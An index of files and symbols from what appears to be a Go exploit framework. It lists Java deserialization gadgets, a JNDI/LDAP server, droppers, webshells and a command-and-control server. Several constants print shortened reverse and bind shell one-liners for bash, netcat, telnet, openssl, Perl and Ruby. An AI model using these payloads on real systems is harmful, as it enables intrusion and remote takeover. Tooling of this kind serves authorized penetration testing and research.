function SP800108HMACSHA512 (line 10) | func SP800108HMACSHA512(key []byte, label []byte, context []byte, outLen...
FILE: encryption/xor.go
function XOR (line 4) | func XOR(data, key []byte) []byte {
function XORByte (line 18) | func XORByte(data []byte, key byte) []byte {
FILE: encryption/xor_test.go
function TestXOR (line 10) | func TestXOR(t *testing.T) {
function TestXOREmptyKey (line 25) | func TestXOREmptyKey(t *testing.T) {
function TestXORByte (line 33) | func TestXORByte(t *testing.T) {
function TestXORNullByteAvoidance (line 48) | func TestXORNullByteAvoidance(t *testing.T) {
FILE: framework.go
type VersionCheckType (line 87) | type VersionCheckType
constant NotVulnerable (line 91) | NotVulnerable VersionCheckType = 0
constant Vulnerable (line 93) | Vulnerable VersionCheckType = 1
constant PossiblyVulnerable (line 95) | PossiblyVulnerable VersionCheckType = 2
constant Unknown (line 97) | Unknown VersionCheckType = 3
constant NotImplemented (line 99) | NotImplemented VersionCheckType = 4
type Exploit (line 190) | type Exploit interface
function doVerify (line 201) | func doVerify(sploit Exploit, conf *config.Config) bool {
function doVersionCheck (line 225) | func doVersionCheck(sploit Exploit, conf *config.Config) bool {
function determineServerSSL (line 252) | func determineServerSSL(rhost string, rport int) (bool, bool) {
function parseCommandLine (line 267) | func parseCommandLine(conf *config.Config) bool {
function StartC2 (line 289) | func StartC2(conf *config.Config) bool {
function startC2Server (line 293) | func startC2Server(conf *config.Config) bool {
function doScan (line 339) | func doScan(sploit Exploit, conf *config.Config) bool {
function StoreVersion (line 429) | func StoreVersion(conf *config.Config, version string) {
function CheckSemVer (line 441) | func CheckSemVer(version string, constraint string) bool {
function updateGoDebug (line 461) | func updateGoDebug() {
function addPayloadMetadata (line 476) | func addPayloadMetadata(conf *config.Config) {
function RunProgram (line 549) | func RunProgram(sploit Exploit, conf *config.Config) {
FILE: framework_test.go
function TestCheckSemVer_Full (line 9) | func TestCheckSemVer_Full(t *testing.T) {
function TestCheckSemVer_BadVersion (line 18) | func TestCheckSemVer_BadVersion(t *testing.T) {
function TestCheckSemVer_BadConstraint (line 27) | func TestCheckSemVer_BadConstraint(t *testing.T) {
FILE: java/gadget_test.go
function TestPackBigFloat (line 12) | func TestPackBigFloat(t *testing.T) {
function TestCreateGWT (line 19) | func TestCreateGWT(t *testing.T) {
function TestCreateGroovy1 (line 29) | func TestCreateGroovy1(t *testing.T) {
function TestCreateCommonsCollections6 (line 38) | func TestCreateCommonsCollections6(t *testing.T) {
function TestCreateCommonsCollections5 (line 47) | func TestCreateCommonsCollections5(t *testing.T) {
function TestCreateCommonsCollections1 (line 56) | func TestCreateCommonsCollections1(t *testing.T) {
FILE: java/gadgets.go
function CreateGWT (line 30) | func CreateGWT(command string) ([]byte, bool) {
function CreateGroovy1 (line 163) | func CreateGroovy1(command string) ([]byte, bool) {
function CreateCommonsCollections6 (line 423) | func CreateCommonsCollections6(program string, args string) ([]byte, boo...
function CreateCommonsCollections5 (line 711) | func CreateCommonsCollections5(program string, args string) ([]byte, boo...
function CreateCommonsCollections1 (line 1130) | func CreateCommonsCollections1(program string, args string) ([]byte, boo...
FILE: java/javaclass.go
function ReverseShellBytecode (line 33) | func ReverseShellBytecode(conf *config.Config) (string, string) {
function ReverseShellScriptingEngineBytecode (line 251) | func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, s...
FILE: java/javagadget.go
function ErrorInvalidCommandLength (line 22) | func ErrorInvalidCommandLength(msg string) error {
function ErrorInvalidCallbackArg (line 26) | func ErrorInvalidCallbackArg(msg string) error {
function Commons6ModifiedBashCommandBytecode (line 36) | func Commons6ModifiedBashCommandBytecode(commandStr string) (string, err...
function Commons10CommandBytecode (line 160) | func Commons10CommandBytecode(commandStr string) (string, error) {
function C3P0ClassCallbackBytecode (line 433) | func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
function JacksonGenericCommand (line 455) | func JacksonGenericCommand(cmd string) (string, error) {
function CreateBeanutilsReverseShell (line 487) | func CreateBeanutilsReverseShell(lhost string, lport int) string {
function CreateJythonRunCodeGadget (line 841) | func CreateJythonRunCodeGadget(payload string) string {
FILE: java/ldapjndi/ldapjndi.go
type GadgetName (line 30) | type GadgetName
constant TomcatNashornReverseShell (line 34) | TomcatNashornReverseShell GadgetName = 0
constant TomcatGenericBash (line 36) | TomcatGenericBash GadgetName = 1
constant GroovyGenericBash (line 37) | GroovyGenericBash GadgetName = 2
constant BeanUtils194GenericBash (line 39) | BeanUtils194GenericBash GadgetName = 3
constant HTTPReverseShell (line 41) | HTTPReverseShell GadgetName = 4
constant JacksonGenericCommand (line 43) | JacksonGenericCommand GadgetName = 5
function handleBind (line 56) | func handleBind(w ldap.ResponseWriter, _ *ldap.Message) {
function handleSearch (line 64) | func handleSearch(writer ldap.ResponseWriter, msg *ldap.Message) {
function CreateLDAPServer (line 96) | func CreateLDAPServer(name string) *ldap.Server {
function SetLDAPGadget (line 117) | func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, c...
function SetLDAPHTTPClass (line 139) | func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHo...
function createTomcatNashornReverseShell (line 179) | func createTomcatNashornReverseShell(binary, lhost string, lport int) st...
function createTomcatGenericGadget (line 287) | func createTomcatGenericGadget(command string) string {
function createGroovyGenericBash (line 357) | func createGroovyGenericBash(command string) string {
function createBeanUtils194GenericBash (line 421) | func createBeanUtils194GenericBash(command string) string {
function createHTTPReverseShell (line 620) | func createHTTPReverseShell(lhost string, lport int, classname string) s...
FILE: java/objects.go
type Field (line 16) | type Field interface
type TCContent (line 21) | type TCContent interface
type TCObject (line 25) | type TCObject struct
method ToBytes (line 102) | func (tcObject TCObject) ToBytes() ([]byte, bool) {
type TCArray (line 30) | type TCArray struct
method ToBytes (line 134) | func (tcArray TCArray) ToBytes() ([]byte, bool) {
type ArrayBytes (line 35) | type ArrayBytes struct
method ToBytes (line 242) | func (arrayBytes ArrayBytes) ToBytes() ([]byte, bool) {
type TCProxyClassDesc (line 39) | type TCProxyClassDesc struct
method ToBytes (line 272) | func (tcProxyClassDesc TCProxyClassDesc) ToBytes() ([]byte, bool) {
type TCInteger (line 47) | type TCInteger struct
method ToBytes (line 254) | func (tcInteger TCInteger) ToBytes() ([]byte, bool) {
type TCFloat (line 51) | type TCFloat struct
method ToBytes (line 250) | func (tcFloat TCFloat) ToBytes() ([]byte, bool) {
type TCBlockData (line 55) | type TCBlockData struct
method ToBytes (line 222) | func (tcBlockData TCBlockData) ToBytes() ([]byte, bool) {
type TCNull (line 60) | type TCNull struct
method ToBytes (line 238) | func (tcNull TCNull) ToBytes() ([]byte, bool) {
type TCEndBlockData (line 62) | type TCEndBlockData struct
method ToBytes (line 246) | func (tcEndBlockData TCEndBlockData) ToBytes() ([]byte, bool) {
type TCString (line 64) | type TCString struct
method ToBytes (line 258) | func (tcString TCString) ToBytes() ([]byte, bool) {
type TCReference (line 68) | type TCReference struct
method ToBytes (line 262) | func (tcReference TCReference) ToBytes() ([]byte, bool) {
type TCClass (line 72) | type TCClass struct
method ToBytes (line 122) | func (tcClass TCClass) ToBytes() ([]byte, bool) {
type TCClassDesc (line 76) | type TCClassDesc struct
method getFieldsBin (line 179) | func (tcClassDesc TCClassDesc) getFieldsBin() ([]byte, bool) {
method ToBytes (line 194) | func (tcClassDesc TCClassDesc) ToBytes() ([]byte, bool) {
type ObjectField (line 84) | type ObjectField struct
method ToFieldBin (line 317) | func (objectField ObjectField) ToFieldBin() ([]byte, bool) {
type ArrayField (line 89) | type ArrayField struct
method ToFieldBin (line 294) | func (arrayField ArrayField) ToFieldBin() ([]byte, bool) {
type IntegerField (line 94) | type IntegerField struct
method ToFieldBin (line 310) | func (integerField IntegerField) ToFieldBin() ([]byte, bool) {
type FloatField (line 98) | type FloatField struct
method ToFieldBin (line 303) | func (floatField FloatField) ToFieldBin() ([]byte, bool) {
function lenPrefixedString (line 342) | func lenPrefixedString(input string) string {
FILE: output/commonlog.go
function SetOutputFile (line 38) | func SetOutputFile(file string) bool {
constant LevelTrace (line 54) | LevelTrace = slog.Level(-8)
constant LevelDebug (line 56) | LevelDebug = slog.LevelDebug
constant LevelStatus (line 58) | LevelStatus = slog.LevelInfo
constant LevelWarning (line 60) | LevelWarning = slog.LevelWarn
constant LevelVersion (line 62) | LevelVersion = slog.Level(5)
constant LevelSuccess (line 64) | LevelSuccess = slog.Level(6)
constant LevelError (line 66) | LevelError = slog.LevelError
function customLogLevels (line 80) | func customLogLevels(_ []string, a slog.Attr) slog.Attr {
function resetLogger (line 105) | func resetLogger(descriptor io.Writer, minLevel slog.Level) *slog.Logger {
function PrintShell (line 121) | func PrintShell(msg string) {
FILE: output/exploitlog.go
function SetExploitLogLevel (line 14) | func SetExploitLogLevel(level slog.Level) {
function doExploitLog (line 19) | func doExploitLog(descriptor io.Writer, level slog.Level, msg string, ke...
function PrintfTrace (line 33) | func PrintfTrace(format string, msg ...interface{}) {
function PrintTrace (line 39) | func PrintTrace(msg string, keys ...any) {
function PrintfDebug (line 45) | func PrintfDebug(format string, msg ...interface{}) {
function PrintDebug (line 51) | func PrintDebug(msg string, keys ...any) {
function PrintfStatus (line 57) | func PrintfStatus(format string, msg ...interface{}) {
function PrintStatus (line 63) | func PrintStatus(msg string, keys ...any) {
function PrintfWarn (line 69) | func PrintfWarn(format string, msg ...interface{}) {
function PrintWarn (line 75) | func PrintWarn(msg string, keys ...any) {
function PrintVersion (line 81) | func PrintVersion(msg string, host string, port int, version string) {
function PrintfSuccess (line 88) | func PrintfSuccess(format string, msg ...interface{}) {
function PrintSuccess (line 94) | func PrintSuccess(msg string, keys ...any) {
function PrintfError (line 100) | func PrintfError(format string, msg ...interface{}) {
function PrintError (line 106) | func PrintError(msg string, keys ...any) {
FILE: output/frameworklog.go
function SetFrameworkLogLevel (line 14) | func SetFrameworkLogLevel(level slog.Level) {
function doFrameworkLog (line 19) | func doFrameworkLog(descriptor io.Writer, level slog.Level, msg string, ...
function PrintfFrameworkTrace (line 33) | func PrintfFrameworkTrace(format string, msg ...interface{}) {
function PrintFrameworkTrace (line 39) | func PrintFrameworkTrace(msg string, keys ...any) {
function PrintfFrameworkDebug (line 45) | func PrintfFrameworkDebug(format string, msg ...interface{}) {
function PrintFrameworkDebug (line 51) | func PrintFrameworkDebug(msg string, keys ...any) {
function PrintfFrameworkStatus (line 57) | func PrintfFrameworkStatus(format string, msg ...interface{}) {
function PrintFrameworkStatus (line 63) | func PrintFrameworkStatus(msg string, keys ...any) {
function PrintfFrameworkWarn (line 69) | func PrintfFrameworkWarn(format string, msg ...interface{}) {
function PrintFrameworkWarn (line 75) | func PrintFrameworkWarn(msg string, keys ...any) {
function PrintfFrameworkSuccess (line 81) | func PrintfFrameworkSuccess(format string, msg ...interface{}) {
function PrintFrameworkSuccess (line 87) | func PrintFrameworkSuccess(msg string, keys ...any) {
function PrintfFrameworkError (line 93) | func PrintfFrameworkError(format string, msg ...interface{}) {
function PrintFrameworkError (line 99) | func PrintFrameworkError(msg string, keys ...any) {
FILE: payload/bindshell/bindshell.go
type BindShell (line 15) | type BindShell interface
type Default (line 19) | type Default interface
type NetcatPayload (line 22) | type NetcatPayload struct
type TelnetPayload (line 23) | type TelnetPayload struct
FILE: payload/bindshell/bindshell_test.go
function TestBindShellNetcatGaping (line 10) | func TestBindShellNetcatGaping(t *testing.T) {
function TestBindShellTelnetdLogin (line 20) | func TestBindShellTelnetdLogin(t *testing.T) {
function TestBindShellNetcatMknod (line 30) | func TestBindShellNetcatMknod(t *testing.T) {
function TestBindShellNetcatMkfifo (line 40) | func TestBindShellNetcatMkfifo(t *testing.T) {
FILE: payload/bindshell/netcat.go
constant NetcatDefault (line 10) | NetcatDefault = "nc -l -p %d -e /bin/sh"
constant NetcatMknod (line 11) | NetcatMknod = `cd /tmp; mknod %s p; nc -l -p %d 0<%s | /bin/sh >%s 2>&...
constant NetcatMkfifo (line 12) | NetcatMkfifo = `cd /tmp; mkfifo %s; nc -l -p %d 0<%s | /bin/sh >%s 2>&1...
method Default (line 15) | func (nc *NetcatPayload) Default(bport int) string {
method Gaping (line 19) | func (nc *NetcatPayload) Gaping(bport int) string {
method Mknod (line 23) | func (nc *NetcatPayload) Mknod(bport int) string {
method Mkfifo (line 29) | func (nc *NetcatPayload) Mkfifo(bport int) string {
FILE: payload/bindshell/telnet.go
constant TelnetDefault (line 7) | TelnetDefault = "telnetd -l /bin/sh -p %d"
method Default (line 9) | func (telnet *TelnetPayload) Default(bport int) string {
method TelnetdLogin (line 13) | func (telnet *TelnetPayload) TelnetdLogin(bport int) string {
FILE: payload/dropper/dropper.go
type Dropper (line 7) | type Dropper interface
type UnixPayload (line 10) | type UnixPayload struct
type WindowsPayload (line 11) | type WindowsPayload struct
type GroovyPayload (line 12) | type GroovyPayload struct
type PHPPayload (line 13) | type PHPPayload struct
FILE: payload/dropper/dropper_test.go
function TestLinuxCurlHTTPDownloadAndExecute (line 10) | func TestLinuxCurlHTTPDownloadAndExecute(t *testing.T) {
function TestLinuxCurlHTTPSDownloadAndExecute (line 32) | func TestLinuxCurlHTTPSDownloadAndExecute(t *testing.T) {
function TestWindowsCurlHTTPDownloadAndExecute (line 54) | func TestWindowsCurlHTTPDownloadAndExecute(t *testing.T) {
function TestWindowsCurlHTTPSDownloadAndExecute (line 72) | func TestWindowsCurlHTTPSDownloadAndExecute(t *testing.T) {
function TestWindowsCertutilHTTPDownloadAndExecute (line 90) | func TestWindowsCertutilHTTPDownloadAndExecute(t *testing.T) {
function TestWindowsPowershellHTTPDownloadAndExecute (line 127) | func TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) {
function TestGroovyHTTP (line 165) | func TestGroovyHTTP(t *testing.T) {
function TestPHPHTTP (line 174) | func TestPHPHTTP(t *testing.T) {
function TestMountV3Only (line 185) | func TestMountV3Only(t *testing.T) {
FILE: payload/dropper/groovy.go
method HTTP (line 8) | func (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile ...
FILE: payload/dropper/php.go
method HTTP (line 16) | func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadF...
FILE: payload/dropper/unix.go
method CurlHTTPDownloadOnly (line 12) | func (unix *UnixPayload) CurlHTTPDownloadOnly(lhost string, lport int, s...
method CurlHTTP (line 21) | func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, dow...
method EitherHTTP (line 34) | func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, d...
method WgetHTTPEx (line 48) | func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, d...
method WgetHTTP (line 61) | func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, dow...
method Mountv3Only (line 77) | func (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rsh...
FILE: payload/dropper/windows.go
method CurlHTTPDownloadOnly (line 13) | func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int,...
method CertutilHTTPDownloadOnly (line 24) | func (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport ...
method CurlHTTP (line 34) | func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, d...
method CertutilHTTP (line 46) | func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl boo...
method PowershellHTTP (line 58) | func (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl b...
FILE: payload/encode.go
function EncodeCommandBrace (line 11) | func EncodeCommandBrace(cmd string) string {
function EncodeCommandIFS (line 17) | func EncodeCommandIFS(cmd string) string {
FILE: payload/encode_test.go
function TestEncodeCommandBrace (line 9) | func TestEncodeCommandBrace(t *testing.T) {
function TestEncodeCommandIFS (line 19) | func TestEncodeCommandIFS(t *testing.T) {
FILE: payload/fileplant/cron.go
type CronPayload (line 11) | type CronPayload struct
method SelfRemovingCron (line 27) | func (c *CronPayload) SelfRemovingCron(user string, cronPath string, x...
FILE: payload/fileplant/fileplant_test.go
function TestEncodeSelfRemovingCron (line 9) | func TestEncodeSelfRemovingCron(t *testing.T) {
FILE: payload/payload.go
type Type (line 18) | type Type
method String (line 276) | func (t Type) String() string {
method IsCommand (line 319) | func (t Type) IsCommand() bool {
method IsPayload (line 359) | func (t Type) IsPayload() bool {
type Arch (line 23) | type Arch
method String (line 200) | func (a Arch) String() string {
type Effect (line 31) | type Effect
method String (line 425) | func (e Effect) String() string {
type Effects (line 46) | type Effects
type Supported (line 89) | type Supported struct
method String (line 184) | func (s Supported) String() string {
constant GenericCommand (line 99) | GenericCommand Type = iota
constant WindowsCommand (line 102) | WindowsCommand
constant WindowsPowerShellCommand (line 104) | WindowsPowerShellCommand
constant MacCommand (line 106) | MacCommand
constant LinuxCommand (line 108) | LinuxCommand
constant LinuxELF (line 110) | LinuxELF
constant LinuxSO (line 114) | LinuxSO
constant WindowsEXE (line 116) | WindowsEXE
constant WindowsDLL (line 119) | WindowsDLL
constant Webshell (line 122) | Webshell
constant UnspecifiedType (line 123) | UnspecifiedType
constant NotDefault (line 127) | NotDefault bool = false
constant Default (line 128) | Default = true
constant None (line 132) | None Arch = iota
constant AMD64 (line 133) | AMD64
constant I386 (line 134) | I386
constant ARMEL (line 135) | ARMEL
constant ARMHF (line 136) | ARMHF
constant ARM64 (line 137) | ARM64
constant MIPS (line 138) | MIPS
constant MIPSEL (line 139) | MIPSEL
constant MIPS64 (line 140) | MIPS64
constant MIPS64EL (line 141) | MIPS64EL
constant PPC (line 142) | PPC
constant PPC64 (line 143) | PPC64
constant PPC64EL (line 144) | PPC64EL
constant S390X (line 145) | S390X
constant X86_64 (line 148) | X86_64 Arch = AMD64
constant X86 (line 149) | X86 Arch = I386
constant POWER8 (line 150) | POWER8 Arch = PPC64EL
constant POWER9 (line 151) | POWER9 Arch = PPC64EL
constant AARCH64 (line 152) | AARCH64 Arch = ARM64
constant FileCreate (line 156) | FileCreate Effect = 1 << iota
constant FileOverwrite (line 157) | FileOverwrite
constant FileDelete (line 158) | FileDelete
constant Execute (line 159) | Execute
constant InMemory (line 160) | InMemory
constant ConfigChanges (line 161) | ConfigChanges
constant IndicatorInLogs (line 162) | IndicatorInLogs
constant AccountLockout (line 163) | AccountLockout
constant Physical (line 164) | Physical
constant WebRequest (line 165) | WebRequest
constant ReverseShellTCP (line 166) | ReverseShellTCP
constant ReverseShellUDP (line 167) | ReverseShellUDP
constant ReverseShellTLS (line 168) | ReverseShellTLS
constant Unknown (line 170) | Unknown
constant maxKey (line 171) | maxKey
constant ReverseShellSSL (line 173) | ReverseShellSSL Effect = ReverseShellTLS
function ArchFromString (line 238) | func ArchFromString(s string) Arch {
function TypeFromString (line 392) | func TypeFromString(s string) Type {
FILE: payload/payload_test.go
function TestArchFromString (line 9) | func TestArchFromString(t *testing.T) {
function TestTypeFromString (line 63) | func TestTypeFromString(t *testing.T) {
FILE: payload/reverse/bash.go
constant BashDefault (line 8) | BashDefault = BashTCPRedirection
constant BashTCPRedirection (line 9) | BashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'`
constant BashHTTPShellLoop (line 10) | BashHTTPShellLoop = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s...
method Default (line 14) | func (bash *BashPayload) Default(lhost string, lport int) string {
method TCPRedirection (line 19) | func (bash *BashPayload) TCPRedirection(lhost string, lport int) string {
method HTTPShellLoop (line 25) | func (bash *BashPayload) HTTPShellLoop(lhost string, lport int, ssl bool...
FILE: payload/reverse/gjscript.go
method Default (line 14) | func (gjs *GJScriptPayload) Default(lhost string, lport int) string {
method GLibSpawn (line 20) | func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string {
FILE: payload/reverse/groovy.go
method Default (line 15) | func (groovy *GroovyPayload) Default(lhost string, lport int) string {
method GroovyClassic (line 20) | func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) stri...
FILE: payload/reverse/java.go
method Default (line 16) | func (java *JavaPayload) Default(lhost string, lport int) string {
method UnflattenedJava (line 22) | func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string {
FILE: payload/reverse/jjs.go
method Default (line 26) | func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) ...
FILE: payload/reverse/js.go
method NodeJS (line 17) | func (js *JavascriptPayload) NodeJS(lhost string, lport int) string {
method SecureNodeJS (line 22) | func (js *JavascriptPayload) SecureNodeJS(lhost string, lport int) string {
FILE: payload/reverse/netcat.go
constant NetcatDefault (line 10) | NetcatDefault = NetcatGaping
constant NetcatGaping (line 11) | NetcatGaping = `nc %s %d -e /bin/sh`
constant NetcatMknod (line 12) | NetcatMknod = `cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%...
method Default (line 15) | func (nc *NetcatPayload) Default(lhost string, lport int) string {
method Gaping (line 20) | func (nc *NetcatPayload) Gaping(lhost string, lport int) string {
method Mknod (line 25) | func (nc *NetcatPayload) Mknod(lhost string, lport int) string {
FILE: payload/reverse/openssl.go
constant OpenSSLDefault (line 10) | OpenSSLDefault = OpenSSLMknod
constant OpenSSLMknod (line 11) | OpenSSLMknod = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | openssl s_clien...
constant OpenSSLMkfifo (line 12) | OpenSSLMkfifo = `cd /tmp; mkfifo %s; sh -i < %s 2>&1 | openssl s_client...
method Default (line 15) | func (openssl *OpenSSLPayload) Default(lhost string, lport int) string {
method Mknod (line 19) | func (openssl *OpenSSLPayload) Mknod(lhost string, lport int) string {
method Mkfifo (line 25) | func (openssl *OpenSSLPayload) Mkfifo(lhost string, lport int) string {
FILE: payload/reverse/perl.go
constant PerlDefault (line 8) | PerlDefault = PerlSocket
constant PerlSocket (line 9) | PerlSocket = `perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOC...
constant PerlFork (line 10) | PerlFork = `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::I...
constant PerlNonBlocking (line 11) | PerlNonBlocking = `perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"%s:%d...
method Default (line 14) | func (perl *PerlPayload) Default(lhost string, lport int) string {
method Socket (line 19) | func (perl *PerlPayload) Socket(lhost string, lport int) string {
method Fork (line 24) | func (perl *PerlPayload) Fork(lhost string, lport int) string {
method NonBlocking (line 29) | func (perl *PerlPayload) NonBlocking(lhost string, lport int) string {
FILE: payload/reverse/php.go
method Default (line 19) | func (php *PHPPayload) Default(lhost string, lport int) string {
method LinuxInteractive (line 24) | func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {
method Unflattened (line 33) | func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bo...
method UnflattenedSelfDelete (line 44) | func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, en...
FILE: payload/reverse/php/unflattened.php
function dataTransfer (line 2) | function dataTransfer($input, $output) {
function windowsDataTransfer (line 7) | function windowsDataTransfer($input, $output) {
FILE: payload/reverse/php/unflattened_self_delete.php
class Del (line 2) | class Del {
method __destruct (line 3) | function __destruct() {
function dataTransfer (line 10) | function dataTransfer($input, $output) {
function windowsDataTransfer (line 15) | function windowsDataTransfer($input, $output) {
FILE: payload/reverse/python.go
method Default (line 19) | func (py *PythonPayload) Default(lhost string, lport int) string {
method Python27 (line 24) | func (py *PythonPayload) Python27(lhost string, lport int) string {
method SecurePython27 (line 29) | func (py *PythonPayload) SecurePython27(lhost string, lport int) string {
method SecurePython312 (line 36) | func (py *PythonPayload) SecurePython312(lhost string, lport int) string {
FILE: payload/reverse/reverse.go
type Reverse (line 22) | type Reverse interface
type Default (line 26) | type Default interface
type BashPayload (line 30) | type BashPayload struct
type GJScriptPayload (line 31) | type GJScriptPayload struct
type JJSScriptPayload (line 32) | type JJSScriptPayload struct
type JavascriptPayload (line 33) | type JavascriptPayload struct
type JavaPayload (line 34) | type JavaPayload struct
type NetcatPayload (line 35) | type NetcatPayload struct
type OpenSSLPayload (line 36) | type OpenSSLPayload struct
type PHPPayload (line 37) | type PHPPayload struct
type PythonPayload (line 38) | type PythonPayload struct
type TelnetPayload (line 39) | type TelnetPayload struct
type GroovyPayload (line 40) | type GroovyPayload struct
type PerlPayload (line 41) | type PerlPayload struct
type RubyPayload (line 42) | type RubyPayload struct
type VBSHTTPPayload (line 43) | type VBSHTTPPayload struct
FILE: payload/reverse/reverse_test.go
function ExampleBashPayload_Default (line 11) | func ExampleBashPayload_Default() {
function TestBashDefault (line 17) | func TestBashDefault(t *testing.T) {
function TestBashHTTPShellLoop (line 27) | func TestBashHTTPShellLoop(t *testing.T) {
function TestNetcatGaping (line 43) | func TestNetcatGaping(t *testing.T) {
function TestNetcatMknod (line 53) | func TestNetcatMknod(t *testing.T) {
function TestTelnetMknod (line 62) | func TestTelnetMknod(t *testing.T) {
function TestTelnetMkfifo (line 84) | func TestTelnetMkfifo(t *testing.T) {
function TestOpenSSLMknod (line 103) | func TestOpenSSLMknod(t *testing.T) {
function TestOpenSSLMkfifo (line 120) | func TestOpenSSLMkfifo(t *testing.T) {
function TestPHPLinuxInteractive (line 137) | func TestPHPLinuxInteractive(t *testing.T) {
function TestPHPUnflattened (line 144) | func TestPHPUnflattened(t *testing.T) {
function TestPHPUnflattenedSelfDelete (line 156) | func TestPHPUnflattenedSelfDelete(t *testing.T) {
function TestGroovyClassic (line 174) | func TestGroovyClassic(t *testing.T) {
function TestNodeJS (line 187) | func TestNodeJS(t *testing.T) {
function TestPython312 (line 234) | func TestPython312(t *testing.T) {
function assertContains (line 260) | func assertContains(t *testing.T, payload string, substrs ...string) {
function TestPerlSocket (line 269) | func TestPerlSocket(t *testing.T) {
function TestPerlFork (line 274) | func TestPerlFork(t *testing.T) {
function TestPerlNonBlocking (line 279) | func TestPerlNonBlocking(t *testing.T) {
function TestRubySocket (line 284) | func TestRubySocket(t *testing.T) {
function TestRubyFork (line 289) | func TestRubyFork(t *testing.T) {
FILE: payload/reverse/ruby.go
constant RubyDefault (line 8) | RubyDefault = RubySocket
constant RubySocket (line 9) | RubySocket = `ruby -rsocket -e'f=TCPSocket.open("%s",%d).to_i;exec spri...
constant RubyFork (line 10) | RubyFork = `ruby -rsocket -e'exit if fork;c=TCPSocket.new("%s",%d);lo...
method Default (line 13) | func (ruby *RubyPayload) Default(lhost string, lport int) string {
method Socket (line 18) | func (ruby *RubyPayload) Socket(lhost string, lport int) string {
method Fork (line 23) | func (ruby *RubyPayload) Fork(lhost string, lport int) string {
FILE: payload/reverse/telnet.go
constant TelnetDefault (line 10) | TelnetDefault = TelnetMknod
constant TelnetMknod (line 11) | TelnetMknod = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s:...
constant TelnetMknodNoColon (line 12) | TelnetMknodNoColon = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s ...
constant TelnetMkfifo (line 13) | TelnetMkfifo = `cd /tmp; mkfifo %s; telnet %s:%d 0<%s | sh 1>%s; ...
constant TelnetMkfifoNoColon (line 14) | TelnetMkfifoNoColon = `cd /tmp; mkfifo %s; telnet %s %d 0<%s | sh 1>%s; ...
method Default (line 17) | func (telnet *TelnetPayload) Default(lhost string, lport int, colon bool...
method Mknod (line 21) | func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) ...
method Mkfifo (line 31) | func (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool)...
FILE: payload/reverse/vbs.go
method Default (line 13) | func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, au...
FILE: payload/webshell/aspx.go
constant aspxTemplate (line 9) | aspxTemplate = `<%@ Page Language="C#" %><%` +
method MinimalGet (line 19) | func (aspx *ASPXWebshell) MinimalGet() (string, string) {
FILE: payload/webshell/bash.go
method MinimalGet (line 5) | func (bash *BashWebshell) MinimalGet() string {
FILE: payload/webshell/jsp.go
method GetKeyed (line 17) | func (jsp *JSPWebshell) GetKeyed(key string) string {
method GetKeyedMinimal (line 24) | func (jsp *JSPWebshell) GetKeyedMinimal(key string) string {
FILE: payload/webshell/php.go
method MinimalGet (line 13) | func (php *PHPWebshell) MinimalGet() (string, string) {
FILE: payload/webshell/webshell.go
type Dropper (line 6) | type Dropper interface
type ASPXWebshell (line 9) | type ASPXWebshell struct
type JSPWebshell (line 10) | type JSPWebshell struct
type PHPWebshell (line 11) | type PHPWebshell struct
type BashWebshell (line 12) | type BashWebshell struct
FILE: payload/webshell/webshell_test.go
function TestVerySmallHTTPGET (line 10) | func TestVerySmallHTTPGET(t *testing.T) {
function TestJSPWebshell (line 23) | func TestJSPWebshell(t *testing.T) {
function TestJSPWebshellMinimal (line 41) | func TestJSPWebshellMinimal(t *testing.T) {
function TestBashWebshellMinimal (line 53) | func TestBashWebshellMinimal(t *testing.T) {
function TestASPXWebshellMinimalGet (line 66) | func TestASPXWebshellMinimalGet(t *testing.T) {
FILE: payload/wrapper.go
function Base64EncodeForBash (line 84) | func Base64EncodeForBash(cmd string) string {
function Base64EncodeForGroovyEval (line 91) | func Base64EncodeForGroovyEval(cmd string) string {
function Base64EncodeForPHPEval (line 98) | func Base64EncodeForPHPEval(cmd string) string {
function PHPIconvFilter (line 106) | func PHPIconvFilter(chain string) string {
FILE: payload/wrapper_test.go
function TestBase64EncodeForBash (line 9) | func TestBase64EncodeForBash(t *testing.T) {
function TestBase64EncodeForGroovyEval (line 19) | func TestBase64EncodeForGroovyEval(t *testing.T) {
function TestBase64EncodeFoPHPEval (line 29) | func TestBase64EncodeFoPHPEval(t *testing.T) {
function TestPHPIconvFilter (line 39) | func TestPHPIconvFilter(t *testing.T) {
FILE: product/asus/asus.go
function RouterAuthenticate (line 15) | func RouterAuthenticate(conf *config.Config, origin string, username str...
FILE: product/wordpress/plugins.go
function getPluginNonce (line 35) | func getPluginNonce(conf *config.Config, cookies []*http.Cookie, path st...
